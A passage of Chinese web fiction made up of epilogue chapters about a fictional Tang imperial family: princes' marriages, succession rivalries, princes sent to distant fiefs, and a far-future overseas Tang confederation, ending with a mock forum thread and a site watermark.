因为主幼国疑,因为传承有序。 这等规矩那是血的教训,无数的青史之上写明的旧例。 国赖长君,同时,也是乱了嫡长制,那么,皇家为了龙椅那一个位置,太容易闹出血淋淋的大乱子。 谁让皇权太诱人呢。 晋王妃嫁给晋王,便是长乐七年春的事情。 晋王妃嫁进皇家后,得了婆母万皇后的疼爱。 可疼爱归疼爱。 这刚成婚后,晋王便是开府,晋王、晋王妃便是从皇宫搬出来,搬进了晋王府过日子。 在皇宫时,晋王、晋王妃是相亲相爱。 可等着出了皇宫,搬至晋王府后。晋王妃发现日子不同。 许是少了头上的皇帝爹、皇后娘的压制。晋王一下子本心曝光。 “王妃娘娘,前院那边有消息了。王爷传了侧妃去陪侍。” 陪嫁嬷嬷来禀了话道。 “知了。”晋王妃淡淡的讲话道。 对于晋王为人如何?晋王妃觉得她太清楚。 晋王就是一个爱美人的。 这不,后宅里,有四位怀孕的庶妃。如今的晋王又宠侧妃。 至于晋王妃,当然也是一个美人。可能晋王不新鲜了。 如今待晋王妃就是淡淡的。 想 到这儿时,晋王妃伸手,她抚了自己的小腹。 晋王妃也想有一个孩子。可惜,晋王已经不爱来正院。 晋王妃嫁进皇家,在皇宫得了婆母万皇后疼爱的那些日子。 那时候没怀上,如今吗? 晋王妃心抽抽。 这王爷都不爱来她的正院,她能怎么办,她一个人也怀不上。 至于侧妃? 如今正得宠的侧妃,晋王妃也是恨的牙痒痒。 太得宠的侧妃,还是得宠到前院去了。瞧着晋王不要脸的做法。 晋王妃能怎么办? 这可是皇帝唯二的子嗣。得皇帝皇后的宠爱。 晋王又不争什么。除了吃吃喝喝,再与美人嬉戏。 这等胸无大志的晋王,除了让太子放心。可能,也便是让太子做一做牌坊,当成兄友弟恭的典范。 毕竟皇家的禄米,还是养得起一个晋王这样的富贵闲人。 “王妃娘娘,要不,您跟晋王低一低头?”陪嫁嬷嬷劝了话。 作为晋王妃的心腹,陪嫁嬷嬷真心想劝了晋王妃。 这一辈子的日子还长着,何必跟晋王生气。 “哼。”晋王妃冷哼一声。 “凭什么低头?”晋王妃不想低头。 “王妃娘娘,夫妻之间,哪有隔夜仇。”嬷嬷只想劝话。 可陪嫁嬷嬷不是晋王妃的奶嬷嬷。 至于晋王妃的奶嬷嬷,如今不见了踪影。 去哪儿? 陪嫁嬷嬷不傻,一点不关心。或者说也不敢关心。 关于晋王、晋王妃如何有心结? 陪嫁嬷嬷也打听到一二。只不敢细细的打听。 毕竟怕犯了上面的忌讳。 只是做为晋王妃的陪嫁,真是让晋王妃跟晋王离心? 嬷嬷真不想。 因为晋王妃失势,于他们这些陪嫁而言,这是天塌了一样的坏消息。 要在晋王府过一辈子,晋王妃得宠与不得宠,这可不止关系着晋王妃往后的荣辱,也关系了她的身边人。 陪嫁嬷嬷当然太懂了。当初在皇宫时,晋王和晋王妃的恩爱。 那时候,侍候晋王妃的身边人,谁又瞧不出来? 可时移世易,一切不同了。 一出宫,晋王开府。晋王与晋王妃那便是跟陌生人一样。 “嬷嬷,不必再劝。”晋王妃摆摆手。 “我出身世家,王爷哪怕不喜又如何?还能废了我这王妃不成。”晋王妃也要脸。 或者说晋王妃是太要脸。 当初,夫妻二人的争吵,犹在耳边。 晋王妃不想低头。她这一辈子,脖子太硬。 陪嫁嬷嬷瞧着王妃这般模样。只能在心头一声叹息。 如今的王妃当然硬气,王妃还年轻呐。 可将来呢? 要知道晋王府的后宅里,可有四位怀孕的庶妃。 庶妃身边,还有王爷赐的嬷嬷照顾。一旦庶妃生下子嗣。 想一想,嬷嬷又想叹息。 不提不怎么得宠的庶妃。那侧妃呢,那瞧着是王爷的心头宝。 至少在陪嫁嬷嬷的眼中如此。 侧妃得宠,这一旦生下孩子?到时候王妃怎么办。 侧妃,那跟庶妃可不同,也是出身名门。 侧妃的背后也是有撑腰的娘家。王妃瞧着跟王爷闹僵了。 侧妃得宠,瞧瞧,前院想去便去。便是王妃这儿,没了王爷的同意点头,前院,那也不是想去,便是随意去。 前院,可是爷们说了算。 想着侧妃,陪嫁嬷嬷都替自家的主子头疼。 “既然王妃娘娘有主意,奴婢不敢再劝。”嬷嬷能怎么办? 拿主意的是主子。再劝,嬷嬷也怕惹了王妃的不高兴。 万一罚了自个,那真是遭灾。 可在心底,嬷嬷还是琢磨了,等着王妃的娘家夫人来访时。 若有机会,一定给递了消息。 也盼着王妃得了娘家的劝,那是跟晋王低一低头。 嬷嬷这般想,可机会吗?真没有。 因为晋王妃回娘家时,可不带了这一位不讨喜的嬷嬷。 至于王妃娘家来人? 这机会太少了。 可太少了。总归会有。 这不,待晋王妃嫁进皇家四年后。陪嫁嬷嬷才是寻着机会,给王妃的娘家人递了消息。 当然,这消息兜兜转转,还是传进了王妃亲娘的耳里。 尔后。 在陪嫁嬷嬷的眼中,王妃有了大改变。 王妃总算是向王爷低头了。而晋王也乐意来了正院。 哪怕只是多坐一坐,夫妻之间有了多些的交流。 在陪嫁嬷嬷的心里,这也是好的开始。 番外三长乐帝 赵济世当皇帝前,那跟当皇帝后,还是一个人。 只做人做事有一些改变也是难免的。 毕竟瞧着皇帝威风八面,金口一开,便是天宪。 实则皇帝嘛,只要皇帝要脸了,那还是免不得有掣肘的。 只不过当皇帝这事情是赵济世自己谋划得来的。 还是千求万求,求来的荣华富贵。 当了皇帝不由自己,为了社稷天下,有些事情赵济世想不干,那也得干。 就像是那些老兄弟里,有些人识趣,有些人不识趣。 识趣的,自然是与国同休,也是富贵传承绑定在天家身上。 若不识趣的,赵济世免不得要替对方体面一回。 只能赵济世太要脸,有些人不干人事。为了天家体面,为了勋贵的名声。 赵济世的手段还是低调一些的。 荣华富贵与人同享,赵济世从来不想荣耀独享。 或者说赵济世是重诺之人,他曾许诺的,终不成有半分的折扣。 这一年,长乐七年。 太子灭南边两国,大唐一统中原,平四海,安社稷。 此一统,可谓是青史昭昭留名。不止如此,东宫有了继承人,太子妃终于诞下了嫡长皇孙。 泰一宫里,赵济世读过南边的捷服后。 赵济世合上奏本,道:“摆驾。” 此时的皇帝要去凤仪宫,他要跟皇后说一番话。 夫妻二人讲一讲贴心话,帝王心头,此时大喜。 凤仪宫。 皇帝见到了妻子时,笑道:“妹妹,南边大胜,安康将归来。他又当爹了,我也又当了皇祖父。好,双喜临门。东宫添了继承人。皇家添了一位嫡长孙。好,好。” “嗯,皇家大喜,添丁添嗣。”关于大捷,万珍珠当然知道的。 可对于万珍珠而言,这事情有父子俩拿主意。 关于得了大孙子一事,万珍珠很开心。 “关于朝堂上的要紧事,你们父子二人有主见。我啊,可不多嘴。” 万珍珠笑得开心。 此时的夫妻二人说说笑笑,那真的很开心。 “等安康归来,咱们一家人得祭祀祖宗,咸告天下知晓,四海升平,中原一统了。”赵济世大笑着讲道。 “是啊,中原一统,此乃盛世乐章。”万珍珠赞同的很。 当然,在此之外嘛,万珍珠也在意了小儿子那一边。毕竟晋王府里也有孕妇,也将有新生儿的诞生。 等着南边的大胜之军归来。 赵济世亲迎。 对于帝王亲迎,这是无上的恩荣。 当然,这等体面,不止给太子,更是给大胜的将士。 在赵济世的心中,这些将士全是他的功臣。 帝王如此想法,当然免不了重赏。赏了将士们。 皇家大宴,恩赏功臣。同时,也是给太子做脸。 太子有大功,如此,更能坐稳储君位置。同时,东宫添嗣,还是添了皇孙。 太子在受了将士们的敬酒时,太子也是高兴。 这不,一时高兴,那真的喝醉了。又或者说酒不醉人,人自醉。 莫说太子如此。赵济世这一位帝王也高兴。 于此,赵济世给长子放了假期。 让长子好好的陪一陪妻儿。当然,哪怕如此,这假期也不长,不过三天。 要知道,对于太子的培养,赵济世可从来不松懈半分。 对于太子的满意嘛,赵济世那是太满意了。 当然,在赵济世的心底,如果小儿子赵纶能学一学他大哥就更好。 毕竟比起大儿子的好,小儿子的懒,那简直太刺眼了。 同时,赵济世未尝不是安心的。因为小儿子不想争,貌似也没能争的能耐。 瞧着这一对一母同胞的兄弟,将来一定会兄友弟恭。 真是亲儿子,手心手背都是肉,当皇帝的赵济世那是左心疼,右心疼,两个儿子一样心疼的。 番外四太子 赵绥得了嫡长子,同时,又有灭南边二国之功。 可谓是东宫之位,坐得稳如泰山。 赵绥是长乐帝的嫡长子,还只有一个弟弟晋王赵纶。 赵纶算不得纨绔子弟,要说学识也不算。 可这一位弟弟更乐意当富贵闲人。那等躺平的态度。 太子赵绥看得明白。 弟弟是不想争什么,就想一辈子富贵安康。 对于弟弟的摆明态度,赵绥瞧懂了。 可在心底,赵绥真的不忌惮弟弟什么。兄弟感情好。 赵绥还巴不得弟弟有本事,也同时替他这一位兄长那是分担一些。 可惜兄弟二人,弟弟的志向定了。那就是一个准备享福,不想吃一 点苦头的主。 能怎么办? 那可是亲弟弟,一母同胞。赵绥只能是当一个好兄弟,那是替弟弟一肩担了爹娘的不高兴。 毕竟爹娘那儿,还是盼着弟弟有真本事。 瞧着弟弟屁事不干,只管享福。甭管亲娘什么态度,亲爹那儿,那可是恨不能打了弟弟。 赵绥是好兄弟,没法子,只能在亲爹那儿替弟弟多分担。 护弟弟嘛,这是当兄长的责任。 至于弟弟是不是避闲?在赵绥看来,真没必要。 自家兄弟,关于亲弟弟的真性情,赵绥是知道的。 弟弟真没演戏,纯粹就是富贵闲人的日子顶顶是好享受。 要问赵绥乐意不乐意?赵绥当然不乐意。 赵绥是大唐的太子,东宫的储君。权利在手。 赵绥觉得富贵闲人再富贵,再舒坦。那也没有权利在手时,那等权在手,任我行的感觉舒坦。 因为权利真的是大补药,最补的大药。 世间男儿,只要尝过了权利的滋味。没谁想放下的。 赵绥放不下。 太子赵绥这太子爷一当,那就是二十七年。 在太子赵绥四十岁那年,他爹驾崩。 问赵绥当太子最大的感想是什么?可能便是他这太子之位很稳当。 谁让他有一个不上进的弟弟,没人跟他争了储君之位。 可这储君之位太稳当。那做了太子跟天子,那还是大大的不同。 有亲爹在,亲爹镇着。当太子的本份,赵绥得守着。 可亲爹不在了,权利,特别是皇权独揽。 那等滋味,真让赵绥爱上了。 只是同时,问内心,赵绥也是敬重亲爹。 毕竟有亲爹,安有如今的大唐社稷。当然,赵绥也更想再立功业。 不为旁的,只想在青史之上留了重重的一笔。 做为帝王,享天大的福气。赵绥还想做得更多,做得更好。 因为帝王要脸嘛。 只是让赵绥万万想不到的事情发生了。 这不,待亲爹葬于皇陵,在国孝之后。似乎一切不同了。 慈仁宫。 这是皇太后的居所。 赵绥见着亲娘,亲爹去了,娘似乎一夜之间衰老了许多。 “母后。”赵绥唤道:“二弟就藩,不妥。” 在国孝后,母子二人商量了二弟晋王的事情。 做为疼弟弟的兄长,赵绥真不想放弟弟去就藩。 天下哪有比燕京都更繁华之地。赵绥这一位帝王就一个亲弟弟。 让亲弟弟就藩吃苦,赵绥舍不得。这是护弟弟的本能。 “……”万珍珠,不,应该是如今的万太后瞧着儿子。 这兄弟俩感情好,万太后当然知道。就是知道,万太后才会如此办法,先跟大儿子谈一谈心事。 “此为皇家长远计较。”万太后叹息一声,方又讲道:“当初你们父子也商议了,也同意了,皇家子孙,承爵代代递减。” “母后,这事情我与父皇、二弟都是赞同的。”赵绥点头。 皇家开枝散叶,那儿孙多了,一旦天长日久的。 那再多的俸禄,也不够宗室吃消的。 爵代代递减,这是根本之法。 “皇家宗室,可不能全圈在燕京都。既然是开枝散叶,那便是四方就藩的好。”万太后的话说的更明白。 “一旦成了庶人百姓,早些在地方开枝散叶,未尝不可。”万太后跟儿子讲一讲心事。 “如今的藩王就藩,多去边地的好。那些地方有藩王镇着,朝廷能省不少事。” 为何? 万太后这般讲,赵绥也知道亲娘的心思。 边地,特别是纳入朝廷统治不太久的地方。 那些地方,生藩太多。 或者说有藩王镇着,朝廷的流官们能省事。 藩王子孙一旦开枝散叶,那也是皇家钉去的钉子。 “再缓一缓吧。”赵绥最后又劝了亲娘。 “这是哀家跟你们父皇商议过的。这是先帝遗命。”万太后跟大儿子讲道。 “……”赵绥沉默了。 最后的最后,赵绥还是降了圣旨,晋王就藩南边的大理。 那儿四季如春。可那儿,在世人眼中还是穷藩之地。 对此,太后都同意了,又拿出了先帝遗命。 晋王的一大家子,真是一大家子。 晋王是子子孙孙,三代同堂。儿孙多,一家子百来口的人。 那可谓是吓唬人的很。 当初,高祖长乐帝会跟长子、次子商量了皇家子孙,代代递减爵位,那纯粹就是给次子晋王吓的。 谁让晋王府上的人口太能生了。 这要是多几代人下去,皇家的人口,那得膨胀到何等的地步? 哪怕是皇家,那人丁太兴旺了,那也是养不起。 如此,代代递减,那真有必要。 谁让君子之泽,五世而斩。 番外晋王 哭一场,离开了燕京都,将往大理去。 “听说大理四季如春,比着燕京都的冷,大理是一个养人的好地方。” 晋王在安慰了心爱的侧妃。 对于侧妃生的儿子,晋王也疼爱,还立为世子。 关于晋王妃吗? 晋王是淡淡的。 谁让王妃出生七姓望族,这还不算。当初二人刚成婚时。 晋王不是没想过,那也学一学大哥,那也是跟晋王妃恩爱一辈子。 可晋王如何做的? 晋王一辈子都记着。 皇家的王爷成婚前,那自然有教导人事的宫人。 晋王是心软的,如此,这等与自己有干系的女子自然也是给了体面,赐了庶妃位。 可偏生那会儿的晋王刚成婚,太相信晋王妃。 可晋王妃呢? 一做主了,便是让宫人出身的庶妃吃了避子汤。 理由可太好听了。这是养生汤。 晋王一直知道,爹娘想皇家子嗣多。不为旁的。 那些朝堂上的谣言,晋王听多了。 关于对母后的非议,不外乎,还是皇家的子嗣少。 可在晋王心里,父皇有他和大哥,他们兄弟在呢。 兄弟是少了一点,可除了兄长,他也是父皇的备胎嘛。 两个皇子少,那就皇孙多一些。 晋王太乐意替父皇和母后分忧。那些年,东宫的大哥一直没儿子,晋王都替太子担忧。 东宫的流言也不少。 晋王更心忧。他就盼着早些成婚,一旦成婚,晋王一定多生孩子,少生事。 不替东宫的大哥揽事,同时,多生孩子,打破了皇家子嗣少的谣言。 皇孙,那也是皇家子嗣嘛。在晋王心里,他一辈子的念想就是多生皇孙。 结果呢。 晋王妃敢给庶妃喝避子汤,这简直戳中了晋王的死穴。 于是等着搬出了皇宫,晋王就放飞自我了。 那晋王妃想安排了他的后宅。晋王不乐意。 怎么办? 当然是随心所欲。 于是那些年里,晋王想宠谁,那就宠谁。 反正不是晋王妃就好。毕竟晋王妃失宠了后。 那没胆子跟晋王炸毛。 于是有晋王这一位富贵闲人盯着,就一心一意生孩子。 这不,在晋王的关心下,晋王府那是新生儿的啼哭不断。 待晋王就藩时,晋王府百来口的人。 那可谓是人丁兴旺的很。 要离开了燕京都,晋王舍不得。舍不得疼他的大哥,更舍不得亲娘。 可亲娘的暗示,晋王读懂了。 东宫,不,如今的大哥膝下子嗣不说单薄吧。 可真的儿子太少,不过区区四个侄子。 至于皇孙,如今也不过区区四个。 比照一下晋王府的子嗣繁茂。晋王想一想,就要嘴角抽抽。 也许就像亲娘说的,离开燕京都,去大理挺好的。 远香近臭。离的远了,晋王这一支的将来在大理。 安心在那儿扎根。 哪怕不舍,可为了儿孙的将来,晋王还是得就藩。 大哥登基了,侄子们成了皇子。 晋王是当了一辈子的咸鱼。可不代表他眼瞎。 太子妃这一位嫂嫂生 了两个皇子,这两个侄儿啊。 如今可谓是表面一派和气。 暗中嘛,那什么态度?可谓是仁者见仁,智者见智。 能远离了皇权斗争,那什么夺嫡的?晋王不掺合,他的儿孙更不掺合。 大理。 在哪儿? 在舆图上,晋王是瞧过的。可真的等去了后。 “本王后悔了。”初至大理,初至大理的晋王府。 晋王真后悔了。 在燕京都当富贵闲人,那日子多舒坦。 来了大理,这地方让晋王觉得太难了。这儿太穷了。 一想到儿孙们要生活在这样的穷地方。晋王替儿孙们后悔。 可后悔了,能怎么办? 晋王妃当然知道后宅的情况。对于晋王的常叹短叹,晋王妃听了,只当听了。 免不得,还是暗中高兴几回。 只要晋王不高兴,晋王妃就很高兴。 这般的日子又过了十年。 人生能有几个十年。晋王听到了新消息,从燕京都传来的新消息。 “什么,三侄子也就藩了,还是去南边的海岛上?” 晋王听着燕京都的最新消息。晋王震惊。 晋王特意的看过舆图,三侄子要去的南国,那可是太南边了。 晋王听幕僚讲过,那地方热的,那简直不是人待的地方。 这哪是就藩,晋王在心里琢磨着,这简直就是流放。 想一想三侄子,那可是太子妃嫂嫂生的小儿子,妥妥的嫡子。 “大哥也舍得,嫂嫂也舍得?”晋王有一点不相信。 当年在燕京都时,晋王可瞧见过,嫂嫂多疼三侄子,大哥多疼这一个侄子。 如今嘛,侄子得就藩,不,应该说被流放。 就藩,那就是纯粹的表面功夫罢了。 好歹,他这晋王就藩,可是早早有安排。 王府修好,应该支应的一切,早早有安排。 可三侄子呢,说就藩,那就藩。 还是比大理更远,更南边的流放地。听说,那还是没怎么收复的大海岛。 啧啧,光想想,晋王替三侄子可惜。这不,夺嫡失败了。就是流放的下场。 去海岛上,还是热死个人的地方。也不知道三侄子遭不遭得住? 晋王倒不是心疼三侄子,毕竟儿孙太多了的晋王,他真是心疼不过小辈们。 晋王更担忧了亲娘。 大哥的儿子们夺嫡,这宫廷里的亲娘咋样? 可替孙儿们伤心了? 番外秦王 做为大唐的秦王,高祖的嫡孙。秦王是皇后的嫡次子,排序三。 秦王打小就聪慧,甚得父皇母后的宠爱。 也凭着这一份宠爱,秦王起了心思。 或者说生在皇家,只要是皇子,谁能没心思。 秦王可以拍着胸口保证,不止他有心思,二哥和四弟一样有。 他们兄弟四人,大哥命最好。大哥是嫡长子。 可大哥当年因为北征草原,那受过伤,腿瘸了。 大哥身有疾。又如何?父皇母后心疼。大哥还是太子。 可这太子真能坐稳吗? 反正秦王不服气。 秦王不服气,这不,夺嫡之争便是起来了。 至于里面是不是二哥的撺掇,秦王知道。 二哥暗戳戳的添了油,四弟同样浇了火。 只能皇家的兄友弟恭,秦王只瞧着父皇和晋王二叔那是真的。 至于他们兄弟四,那没可能。 因为大哥身有疾,下面的弟弟们又不服气啊。 皇权至尊,皇权至高,皇权至上。 谁不想走了那一步,就差一步,天渊之别。 秦王不服气。 夺嫡之争,输了,便是输了。 秦王被亲爹流放了。 去南边,去苏禄就藩。秦王不想,可他不想去,也不成。 这是天子旨意。 离开燕京都的那一天,几个兄弟来送了秦王。 不,应该说如今的苏禄王。 秦王的封号,那也改了。 如今的苏禄王是败犬,他瞧着几个兄弟。他的冷笑掩不住,也不知道是在嘲笑自己,还是在嘲讽他人。 “我这一走,往后怕回不来。皇祖母和父皇、母后,还请兄长与弟弟替我尽一份孝心。” 话罢,也不管兄弟们如何想。苏禄王跪下,向着皇宫的方向磕了头。 太子瞧着兄弟的做派,他道:“三弟,你的孝心,长辈们皆知的。” 这话说的,苏禄王更想嘲讽。 只想到自己如今的处境,又罢了。 燕京都一离开,再归来?没有归来的时候了。苏禄王太清楚了。 只苏禄王的心底,对于就藩一事,还有一点希望。 万一,能在藩地有一些做为呢? 等着出海了,在海上的日子,苏禄王才知道。 吃海上的一口子饭太不容易了。 那海上的风浪,那大的,真的太吓人。在天地的伟力面前,人太渺小了。 等着一日又一日,半年后,终于到了南边的海岛时。 来了藩地,苏禄王死心了。 “这狗屁世道……”苏禄王骂了粗话。他真心遭不住。 这海岛上开始的日子,那真就不是人过的日子。 可能怎么办? 妻儿随着苏禄王就藩王了,往后,他这一支注定生活于此。 想回中原? 没可能了。 番外赵民 赵民是一个挺有能耐的人。因为他连中六元,可谓是高宗一朝的名人。 六元状元。 可这些不重要。 赵民真正在意的,便是他如何这般顺顺利利。 因为赵民永远也是忘记不了,他中了状元时,皇帝见过他,太后见过他,那是感慨的话语。 特别是太后替他和定下婚约的师妹赐婚。 这一辈子,赵民跟师妹恩爱一辈子。 或许在世人眼中,赵民是一位爱慕妻子,爱了家庭的人。 可在心中,美人谁不爱? 只赵民不敢。 因为万太后的只言片语,让赵民知道,他极了高祖的模样。 如此,皇家待他,才会不同。 凭赵民的能耐,一路青云。真不是他有多大的能耐。 不过是他的身上,寄托了皇家的一点子念想。 如此,赵民要脸。 这一张脸不止为他自己,更是不能让皇家给的脸丢地上。 高祖一辈子重诺,赵民当然得一样的重诺。 当年许诺了与师妹定亲。 那么,哪怕恩师与师母早去。师妹的背后没有靠山,于赵民没半分助力了。 可赵民还是重情重义,他娶师妹,爱幕师妹。 这一辈子,赵民活成了一个守诺之人。 哪怕,他曾经也是爱慕过美人。那也不过是昙花一现,恍如一梦,不曾去寻。 番外刘月奴 “恭喜老夫人,贺喜老夫人。”刘月奴听着 旁人的恭喜。 刘月奴也高兴。 刘月奴的一辈子挺有传奇色彩。 她的爹娘是奴仆出身,她的将来,本来可能也是一个奴仆。 便是生了儿孙,也会如此。 可那一年,被贵人选中,她要赠了一位贵人。 也便是那一年,刘月奴的命运被更改。 因为刘月奴有几分像极了当今的太后娘娘。 如此,刘月奴与家人被挑走。 后来的刘月奴跟万太后庄子上的管事成婚了。 太后慈悲,给了民籍。同时,庄子上也乐于教导孩子们读书习武。 便是读不出名堂,做了帐房等,也是好的。毕竟识字的人,总归出路更多。 只刘月奴的儿子很争气。读书,那是真读出来了名堂。 于是刘月奴便是享了儿孙福。 待儿孙一步一步在官场上出人投地。刘月奴得了朝廷的诰命。 诰命,这是刘月奴曾经想,那都不敢想的一切。 如今嘛,刘月奴只会感恩。 感恩了许多人。感恩了娘,给了她一张好容颜。 同时,也是感恩了祖宗的庇护,让儿孙们都是能读书,会读书的好种子。 当然,更是开心了祖坟冒青烟,儿孙争气。 活了一辈子,在刘月奴这般的年岁时,她已经看淡了很多。 可老了老了,还能享了大福气。刘月奴已经没什么不满意的。 刘月奴只想着,便是死了,她也是闭眼的。 去了地下,见了祖宗,那也是有话讲的。 “娘。”刘月奴听着小儿子唤。这时候的刘月奴笑道:“今个大喜,满府上下,人人皆赏。” “我儿,你让你媳妇替为娘好好待客。”刘月奴老了,她认识的客人很少。 儿媳比她有本事,至少在刘月奴的心中如此。 这时候的刘月奴更想让儿媳出面,那替她招呼了客人。 小儿子和儿媳当然是同意的。 哪怕大哥是家中的顶梁柱。可小儿子一家,那也想借助了大哥的光芒,如此,也是替自家的孩子争取了更多的好处。 同时,也不会让大哥一家太为难的。毕竟亲娘在,母在,不分家的。 这一家子骨肉,当然不会计较了太多。 这一场热闹,刘月奴生生的受了。特别是一旦凑到了刘月奴跟前的人。那谁捧着刘月奴这一位诰命夫人,那说的都是是好听话。 刘月奴呢? 这一场热闹后,她去小佛堂念了经。受了繁华,可在心中,刘月奴更信了佛,信了命。 这不,不止在自家的小佛堂念了经。刘月奴还去了寺里上香,还愿。 给亲娘代了长明灯。刘月奴还愿时,她还是低声念叨。 “娘,您没能亲眼见了儿如今的富贵。儿说与你听。”刘月奴低声讲道。 “娘,当年,你劝了儿,让儿争了大富贵。那会儿,儿怕了。” 刘月奴想着过往。 当年,她居然敢跟万太后争了男人。再想想,刘月奴想,好在当年太后娘娘慈悲,不计较了这些。 若不然的话,自家会是什么下场?刘月奴是不敢想像的。 刘月奴不敢想,如今呢,刘月奴只想着自家的好日子长长久久。 “娘,太后娘娘是儿这一辈子的大贵人。儿只盼太后娘娘长命百岁。”这是刘月奴的真心想法。 当年,刘月奴初到庄子上,那日子是害怕过的。 可后来见着太后娘娘似乎真忘记她们一家子了。 刘月奴才是不再害怕。到如今,儿子都做大官了。 刘月奴知道了,太后娘娘真慈悲。她这等苦命的,当年做不得主的,真不在太后娘娘的拉清单名单里。 “娘,儿有今天的富贵,一定是娘和祖宗们在天子庇佑。”刘月奴的脸上全是开心的神色。 “儿一定给祖宗们和娘多烧了香火钱。” 刘月奴双手合十。 “娘,请您一定保佑了您的外孙,让他们一辈子也平平安安,富贵长长久久。” 刘月奴如今的身份大不同。这一回来烧香,那自然给了重重的香油钱。 在寺里,一旦遇着刘月奴这般的诰命夫人,还是大手笔的香客。 那自然是恨不能捧着,捧得高高的。 在寺里,刘月奴得了心安。 刘月奴的心中,这一回是踏实安定。因为请了神佛,这算是得了神佛的庇佑。 可更主要还是得了富贵,刘月奴想活得更久。 若能长久的享受了富贵,谁又不想长寿呢。 刘月奴当然也想的。 番外无数年后 一代皇朝不过几百年,又是几百年后。 大唐在中原的旗帜不存。可在海外,还是有许多的大唐皇家苗裔。 谁让大唐自有传统。只要夺嫡失败的,全数就藩到海外去。 四百年下来,大唐的海外,就藩的藩王数量太多。 一百来位的藩王,这在海外一纠结,那就是一个大大的势力。 新朝新立,可跟海外嘛,那也不是一刀两断。 海外的大唐诸藩王,那想不想回了中原? 太想了。 可新朝的武力值,那顶顶是最巅峰的时候。 于此,海外的一百来位藩王,那人多了,林子大了,什么鸟都会有。 蛇无头不行,这便是海外的唐室藩王结盟了。 那利益当前,于是,自然不可能是一条心的。 于是又是两三百年后。 又是一个新朝立。中原的大地上,已经换了几家皇朝。 海外,大唐的旗帜依旧。或者说千年的时光里。 海外的大唐越发的势大。 因为海外的土地很多很多,人口多了,便能用手中剑争伐更多的土地。 海外的大唐,那也是中原人的后裔。 千年后。 从西边而来的夷人与东边的大唐大战起。 早有许多年前,双方有贸易的往来。利益,这才是最重要的。 那是新的故事起。 番外海外大唐 大唐邦联,这便是诸藩王共举的旗帜。要问,谁是共主? 真没有。 因为藩王们的共和,那也是共和。 不过嘛,这联盟在一起,那自然会膨胀了势力。 海外,只要有发现了美的眼睛,那必然能寻打到更多的利益。 身毒。 金州王的世子,这一位世子打小便是被册立为继承人。 只海外大唐藩国的继承人,可不是一出生得了王位,那便是占了便宜,不担了责任。 想当王,掌了兵权是必需的。如此,在军队里走一遭,那就成必然。 海外大唐,海军为重。 诸海岛来往,靠着是大船,靠的是大炮。 炮,在近几十年出现了。或者说在海上,这是利器。 东边的大唐有,西边的夷人一样有。 在身毒,这是东边大唐,西边夷人们的利益重要区。 在这儿,财富很多。 可这儿同样是斗兽场。当然,斗的嘛,那是大唐与夷人们的势力。 至于当地人? 当地人大不同,跟中原的风土人情不同。跟西边的夷人们的治理也不同。 这儿,那是教典治国。 这儿,子孙生下来是什么样,那子子孙孙就是什么样。 一等婆罗门,掌着释经权。生来就是天龙人。 金州世子来此,不止为着眼前的利益,更是为了长远的利益。 身毒,莫看这地方的人,那富贵的天龙人是富得流血。 毕竟天龙人的财富嘛,那就是一层又一层的贱民。 可贱民,那也分了三六九等。 当然,天龙人也不止婆罗门。 一等婆罗门,二等刹地地,三等吠舍。四等的首陀罗是贱民,还有便是不可接触的贱民。 总而言之,身毒,在金州世子的眼中,这地方富得流血。 因为这儿的土地肥,人口多。甭管是种地,那也能养活太多人。 人一多,做贸易,那多来钱。 海外大唐,可跟中原不一样。南来北往,在海上的财富,那可一点不比地里差。 或者说海上的财富更多。 番外一本日记 千年之后,又或者说两千年后。 那时候的世界跟以前的世界又不同。那时候的世界已经大变样。 中原,或者说共和国的时代。海外,也不止有夷人的国度,还有大唐苗裔的国度。 一场考察,或者说,又是番出来的日记。 那挖出来的便是先贤的旧书。 在这一本的日记里,记载的,那是过往的时光。 番外,论坛 某小论坛里,很多人在顶贴,不是谈论了新的电视剧。 1楼:看了新电视剧《XXX》,真是乱讲,怎么可能。 2楼:真不真,管它呢。反正只看偶像。 3楼:其实还成,大唐邦联那一边可流行了,都说这电视剧好。 4楼:狗屎。 5楼:XXX,(和谐了) 6楼:66666,凑数的 7楼:楼上的,全是假说。其实这一部《大唐风云》拍得不错。 很写实,考据的不错。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m